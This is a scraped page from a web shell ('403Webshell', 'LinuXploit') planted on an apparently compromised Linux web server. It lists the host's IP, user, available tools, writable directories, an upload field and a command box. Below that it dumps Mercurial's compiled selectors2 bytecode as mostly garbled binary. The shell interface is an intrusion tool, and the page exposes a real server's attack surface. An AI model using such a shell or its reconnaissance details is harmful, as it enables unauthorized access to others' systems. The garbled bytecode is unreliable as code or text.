403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/mercurial/thirdparty/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/mercurial/thirdparty/__pycache__/selectors2.cpython-39.opt-1.pyc
a

�+�bVk�@sdZddlmZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZejZej
Z
z
e	jZWney�e	j	ZYn0dZdZdZd	Zd
Zgd�ZdZdZdae�ZeeejfZed
gd��ZGdd�de
�Z dd�Z!Gdd�de�Z"e#ed��rPGdd�de"�Z$e�%d�ej&�rPGdd�de�Z'Gdd�de$�Z(e�%d�e(Z$e#ed��rvGdd�de"�Z)e�%d�e#ed��r�Gd d!�d!e"�Z*e�%d!�e#ed"��r�Gd#d$�d$e"�Z+e�%d$�e#ed%��r�Gd&d'�d'e"�Z,e�%d'�d(d)�Z-ej.d*k�rd+d,�Z/nd-d,�Z/d.d/�Z0dS)0z. Back-ported, durable, and portable selectors �)�absolute_importN�)�pycompatzSeth Michael Larsonz sethmichaellarson@protonmail.comz2.0.0ZMITz3https://www.github.com/SethMichaelLarson/selectors2)�
EVENT_READ�EVENT_WRITE�SelectorKey�DefaultSelector�BaseSelector�r)�fileobj�fd�events�datac@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�_SelectorMappingz* Mapping of file objects to selector keys cCs
||_dS�N��	_selector��self�selector�r�E/usr/lib64/python3.9/site-packages/mercurial/thirdparty/selectors2.py�__init__Fsz_SelectorMapping.__init__cCst|jj�Sr)�lenr�
_fd_to_key�rrrr�__len__Isz_SelectorMapping.__len__cCs@z|j�|�}|jj|WSty:td�|���Yn0dS�Nz{0!r} is not registered.)r�_fileobj_lookupr�KeyError�format)rrrrrr�__getitem__Ls
z_SelectorMapping.__getitem__cCst|jj�Sr)�iterrrrrrr�__iter__Ssz_SelectorMapping.__iter__N)�__name__�
__module__�__qualname__�__doc__rrr!r#rrrrrCs
rc
Csbt|t�r|}n8zt|���}Wn&tttfyFtd�|���Yn0|dkr^td�|���|S)zl Return a file descriptor from a file object. If
    given an integer will simply return that integer back. zInvalid file object: {0!r}rzInvalid file descriptor: {0})�
isinstance�int�fileno�AttributeError�	TypeError�
ValueErrorr )rrrrr�_fileobj_to_fdWs
r.c@sveZdZdZdd�Zdd�Zddd�Zd	d
�Zddd�Zdd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)r	a/ Abstract Selector class

    A selector supports registering file objects to be monitored
    for specific I/O events.

    A file object is a file descriptor or any object with a
    `fileno()` method. An arbitrary object can be attached to the
    file object which can be used for example to store context info,
    a callback, etc.

    A selector can use various implementations (select(), poll(), epoll(),
    and kqueue()) depending on the platform. The 'DefaultSelector' class uses
    the most efficient implementation for the current platform.
    cCsi|_t|�|_dSr)rr�_maprrrrruszBaseSelector.__init__cCsLz
t|�WStyF|j��D]}|j|ur"|jYSq"�Yn0dS)aa Return a file descriptor from a file object.
        This wraps _fileobj_to_fd() to do an exhaustive
        search in case the object is invalid but we still
        have it in our map. Used by unregister() so we can
        unregister an object that was previously registered
        even if it is closed. It is also used by _SelectorMapping
        N)r.r-r�valuesrr�rr�keyrrrr|s

zBaseSelector._fileobj_lookupNcCsb|r|ttB@r td�|���t||�|�||�}|j|jvrRtd�||j���||j|j<|S)z8 Register a file object for a set of events to monitor. zInvalid events: {0!r}z${0!r} (FD {1}) is already registered)	rrr-r rrrrr�rrr
rr2rrr�register�s�zBaseSelector.registerc
Cs�z|j�|�|��}Wn�ty6td�|���Ynptjy�}zV|jtjkrV�n:|j�	�D] }|j
|ur`|j�|j�q�q`td�|���WYd}~n
d}~00|S)z0 Unregister a file object from being monitored. �{0!r} is not registeredN)r�poprrr �socket�error�errno�EBADFr0rr)rrr2�errrrr�
unregister�s
$zBaseSelector.unregistercCs�z|j|�|�}Wn ty4td�|���Yn0||jkrZ|�|�|�|||�}n"||jkr||j|d�}||j|j	<|S)z< Change a registered file object monitored events and data. r5)r)
rrrr r
r<r4r�_replacerr3rrr�modify�s


zBaseSelector.modifycCs
t��dS)zj Perform the actual selection until some monitored file objects
        are ready or the timeout expires. N)�NotImplementedError)r�timeoutrrr�select�szBaseSelector.selectcCs|j��d|_dS)zd Close the selector. This must be called to ensure that all
        underlying resources are freed. N)r�clearr/rrrr�close�s
zBaseSelector.closecCsH|��}|durtd��z
||WStyBtd�|���Yn0dS)z: Return the key associated with a registered file object. NzSelector is closedr5)�get_map�RuntimeErrorrr )rr�mappingrrr�get_key�s
zBaseSelector.get_keycCs|jS)z3 Return a mapping of file objects to selector keys )r/rrrrrD�szBaseSelector.get_mapcCs&z|j|WSty YdS0dS)z_ Return the key associated to a given file descriptor
         Return None if it is not found. N)rr)rrrrr�_key_from_fd�szBaseSelector._key_from_fdcCs|Srrrrrr�	__enter__�szBaseSelector.__enter__cGs|��dSr)rC)r�_rrr�__exit__�szBaseSelector.__exit__)N)N)N)r$r%r&r'rrr4r<r>rArCrGrDrHrIrKrrrrr	fs



r	rAcsNeZdZdZ�fdd�Zd
�fdd�	Z�fdd�Zdd	d
�Zddd�Z�Z	S)�SelectSelectorz Select-based selector. cs"tt|���t�|_t�|_dSr)�superrLr�set�_readers�_writersr��	__class__rrr�szSelectSelector.__init__NcsDtt|��|||�}|t@r*|j�|j�|t@r@|j�|j�|Sr)	rMrLr4rrO�addrrrPr3rQrrr4�szSelectSelector.registercs0tt|��|�}|j�|j�|j�|j�|Sr)rMrLr<rO�discardrrPr1rQrrr<�szSelectSelector.unregisterc	Cs�t|j�st|j�sgS|dur$dnt|d�}g}t|jd|j|j|�\}}}t|�}t|�}||BD]J}d}||vr~|tO}||vr�|tO}|�	|�}|rf|�
|||j@f�qf|S)N�Tr)rrOrP�max�_syscall_wrapper�_wrap_selectrNrrrH�appendr
)	rr@�ready�r�wrJrr
r2rrrrAs&�

zSelectSelector.selectcCst�||g|�S�z? Wrapper for select.select because timeout is a positional arg )rA�rr[r\r@rrrrXszSelectSelector._wrap_select)N)N)N)
r$r%r&r'rr4r<rArX�
__classcell__rrrQrrL�s
rLc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�_JythonSelectorMappingz� This is an implementation of _SelectorMapping that is built
            for use specifically with Jython, which does not provide a hashable
            value from socket.socket.fileno(). cCs
||_dSrrrrrrr(sz_JythonSelectorMapping.__init__cCst|jj�Sr)rr�_socketsrrrrr,sz_JythonSelectorMapping.__len__cCs4|jjD]\}}||ur|Sqtd�|���dSr)rrarr )rr�sockr2rrrr!/s
z"_JythonSelectorMapping.__getitem__N)r$r%r&r'rrr!rrrrr`#sr`cs<eZdZdZ�fdd�Zddd�Zdd�Zdd	d
�Z�ZS)
�JythonSelectSelectoraz This is an implementation of SelectSelector that is for Jython
            which works around that Jython's socket.socket.fileno() does not
            return an integer fd value. All SelectorKey.fd will be equal to -1
            and should not be used. This instead uses object id to compare fileobj
            and will only use select.select as it's the only selector that allows
            directly passing in socket objects rather than registering fds.
            See: http://bugs.jython.org/issue1678
                 https://wiki.python.org/jython/NewSocketModule#socket.fileno.28.29_does_not_return_an_integer
            cs>tt|���g|_t|�|_g|_g|_tt	dt	j	�|_
dS)NZcpython_compatible_select)rMrcrrar`r/rOrP�getattrrA�_select_funcrrQrrrAs
zJythonSelectSelector.__init__NcCsr|jD] \}}||urtd�||���qt|d||�}|j�||f�|t@rZ|j�|�|t@rn|j�|�|S)Nz{0!r} is already registered���)	rarr rrYrrOrrP)rrr
rrbrJr2rrrr4Ls�zJythonSelectSelector.registercCsjt|j�D]\}\}}||ur
q2q
td�|���|jt@rH|j�|�|jt@r^|j	�|�|j|=|Sr)
�	enumeraterarr r
rrO�removerrP)rr�irbr2rrrr<[s

zJythonSelectSelector.unregistercCs|�||g|�Sr])rer^rrrrXjsz!JythonSelectSelector._wrap_select)N)N)	r$r%r&r'rr4r<rXr_rrrQrrc6s


rc�pollcsNeZdZdZ�fdd�Zd
�fdd�	Z�fdd�Zdd	d
�Zddd�Z�Z	S)�PollSelectorz Poll-based selector cstt|���t��|_dSr)rMrkrrArj�_pollrrQrrruszPollSelector.__init__NcsPtt|��|||�}d}|t@r*|tjO}|t@r<|tjO}|j�|j	|�|S�Nr)
rMrkr4rrA�POLLINr�POLLOUTrlr)rrr
rr2�
event_maskrQrrr4ys

zPollSelector.registercs"tt|��|�}|j�|j�|Sr)rMrkr<rlrr1rQrrr<�szPollSelector.unregistercCs4|dur$|dkrd}nt�|d�}|j�|�}|S�zj Wrapper function for select.poll.poll() so that
            _syscall_wrapper can work with only seconds. Nr��)�math�ceilrlrj�rr@�resultrrr�
_wrap_poll�szPollSelector._wrap_pollcCstg}t|jd|d�}|D]V\}}d}|tj@r8|tO}|tj@rL|tO}|�|�}|r|�|||j	@f�q|S�NT)r@r�
rWrwrArnrrorrHrYr
�rr@rZ�	fd_eventsrrpr
r2rrrrA�s
zPollSelector.select)N)N)N)
r$r%r&r'rr4r<rwrAr_rrrQrrkss

rk�epollcsXeZdZdZ�fdd�Zdd�Zd�fdd�	Z�fd	d
�Zddd�Z�fd
d�Z	�Z
S)�
EpollSelectorz Epoll-based selector cstt|���t��|_dSr)rMr}rrAr|�_epollrrQrrr�szEpollSelector.__init__cCs
|j��Sr)r~r*rrrrr*�szEpollSelector.filenoNcsTtt|��|||�}d}|t@r*|tjO}|t@r<|tjO}t|j	jd|j
|�|S)NrF)rMr}r4rrA�EPOLLINr�EPOLLOUTrWr~r)rrr
rr2Zevents_maskrQrrr4�s

zEpollSelector.registercs>tt|��|�}zt|jjd|j�Wnty8Yn0|S)NF)rMr}r<rWr~r�_ERROR_TYPESr1rQrrr<�szEpollSelector.unregisterc	Cs�|dur2|dkrd}nt�|d�d}t|�}nd}tt|j�d�}g}t|jjd||d�}|D]V\}}d}|t	j
@r�|tO}|t	j@r�|t
O}|�|�}|rb|�|||j@f�qb|S)	NrrUrrg����MbP?g�r
T)r@Z	maxevents)rsrt�floatrVrrrWr~rjrArrr�rrHrYr
)	rr@�
max_eventsrZr{rrpr
r2rrrrA�s,

�
zEpollSelector.selectcs|j��tt|���dSr)r~rCrMr}rrQrrrC�s
zEpollSelector.close)N)N�r$r%r&r'rr*r4r<rArCr_rrrQrr}�s
	
!r}�devpollcsbeZdZdZ�fdd�Zdd�Zd�fdd�	Z�fd	d
�Zddd�Zdd
d�Z	�fdd�Z
�ZS)�DevpollSelectorzSolaris /dev/poll selector.cstt|���t��|_dSr)rMr�rrAr��_devpollrrQrrr�szDevpollSelector.__init__cCs
|j��Sr)r�r*rrrrr*�szDevpollSelector.filenoNcsPtt|��|||�}d}|t@r*|tjO}|t@r<|tjO}|j�|j	|�|Srm)
rMr�r4rrArnrror�r)rrr
rr2Zpoll_eventsrQrrr4�s

zDevpollSelector.registercs"tt|��|�}|j�|j�|Sr)rMr�r<r�rr1rQrrr<szDevpollSelector.unregistercCs4|dur$|dkrd}nt�|d�}|j�|�}|Srq)rsrtr�rjrurrrrwszDevpollSelector._wrap_pollcCstg}t|jd|d�}|D]V\}}d}|tj@r8|tO}|tj@rL|tO}|�|�}|r|�|||j	@f�q|SrxryrzrrrrAs
zDevpollSelector.selectcs|j��tt|���dSr)r�rCrMr�rrQrrrC%s
zDevpollSelector.close)N)N)N)r$r%r&r'rr*r4r<rwrArCr_rrrQrr��s


r��kqueuecsXeZdZdZ�fdd�Zdd�Zd�fdd�	Z�fd	d
�Zddd�Z�fd
d�Z	�Z
S)�KqueueSelectorz  Kqueue / Kevent-based selector cstt|���t��|_dSr)rMr�rrAr��_kqueuerrQrrr/szKqueueSelector.__init__cCs
|j��Sr)r�r*rrrrr*3szKqueueSelector.filenoNcs|tt|��|||�}|t@rFt�|jtjtj�}t	|j
jd|gdd�|t@rxt�|jtj
tj�}t	|j
jd|gdd�|S�NFr)rMr�r4rrA�keventr�KQ_FILTER_READZ	KQ_EV_ADDrWr��controlr�KQ_FILTER_WRITE)rrr
rr2r�rQrrr46s��zKqueueSelector.registercs�tt|��|�}|jt@r\t�|jtjtj	�}zt
|jjd|gdd�Wnt
yZYn0|jt@r�t�|jtjtj	�}zt
|jjd|gdd�Wnt
y�Yn0|Sr�)rMr�r<r
rrAr�rr�ZKQ_EV_DELETErWr�r�r�rr�)rrr2r�rQrrr<Hs(
�
�zKqueueSelector.unregistercCs�|durt|d�}t|j�d}i}t|jjdd||�}|D]�}|j}|j}d}|tj	krb|t
O}|tjkrt|tO}|�
|�}	|	r<|	j|vr�|	||	j@f||	j<q<||	jd}
|	||
B|	j@f||	j<q<t|���S)NrrTr
)rVrrrWr�r��ident�filterrAr�rr�rrHrr
�listr0)rr@r�Z	ready_fdsZkevent_listr�rrpr
r2Z
old_eventsrrrrA]s,

�



zKqueueSelector.selectcs|j��tt|���dSr)r�rCrMr�rrQrrrCzs
zKqueueSelector.close)N)Nr�rrrQrr�-s
r�c	CsPz2|dkrt��}|�d�ntt|����WdSttfyJYdS0dS)a
 Checks that select structs can be allocated by the underlying
    operating system, not just advertised by the select module. We don't
    check select() because we'll be hopeful that most platforms that
    don't have it available will not advertise it. (ie: GAE) rjrTFN)rArjrdrC�OSErrorr+)�struct�prrr�
_can_allocate�sr�)��cOs||i|��S)zy This is the short-circuit version of the below logic
        because in Python 3.5+ all selectors restart system calls. r)�funcrJ�args�kwargsrrrrW�srWc
OsN|�dd�}|durd}d}n t|�}|dkr4d}n
t�|}t|�}|rZd|vrZtd��t}|tu�rJz||i|��}Wq^tttj	f�yF}z�d}t
|d�r�|j}nt
|d�r�|jd}|tj
kp�t
td	�o�|tjk}	|	�r0|du�r$t�}
|
|k�rttjd
��|�r$d|v�r$||
|d<WYd}~q^�WYd}~q^d}~00q^|S)z� Wrapper function for syscalls that could fail due to EINTR.
        All functions should be retried if there is time left in the timeout
        in accordance with PEP 475. r@NFrUz4Timeout must be in args or kwargs to be recalculatedr9r�r�WSAEINTRzConnection timed out)�getr��	monotonicr�r-�_SYSCALL_SENTINELr��IOErrorrAr8�hasattrr9r�ZEINTRr�Z	ETIMEDOUT)r�Zrecalc_timeoutr�r�r@Zexpiresrv�eZerrcodeZis_interruptZcurrent_timerrrrW�sJ
�



�


cCsjtdurdtjrtanPtd�r"tanBtd�r0tan4td�r>tan&td�rLtant	t
d�r\tantd��t�S)z� This function serves as a first call for DefaultSelector to
    detect if the select module is being monkey-patched incorrectly
    by eventlet, greenlet, and preserve proper behavior. Nr�r�r|rjrAz"Platform does not have a selector.)
�_DEFAULT_SELECTORr�isjythonrcr�r�r�r}rkr�rArLrErrrrr�s
r)1r'Z
__future__r�collectionsr9rsrAr7�sys�time�r�
namedtuple�Mappingr�r+�
__author__Z	__email__�__version__Z__license__Z__url__�__all__rrr��objectr�r�r�r8r�rrr.r	r�rLrYr�r`rcrkr}r�r�r��version_inforWrrrrr�<module>sp
	0
8
3
A
;
Q

8

Youez - 2016 - github.com/yon3zu
LinuXploit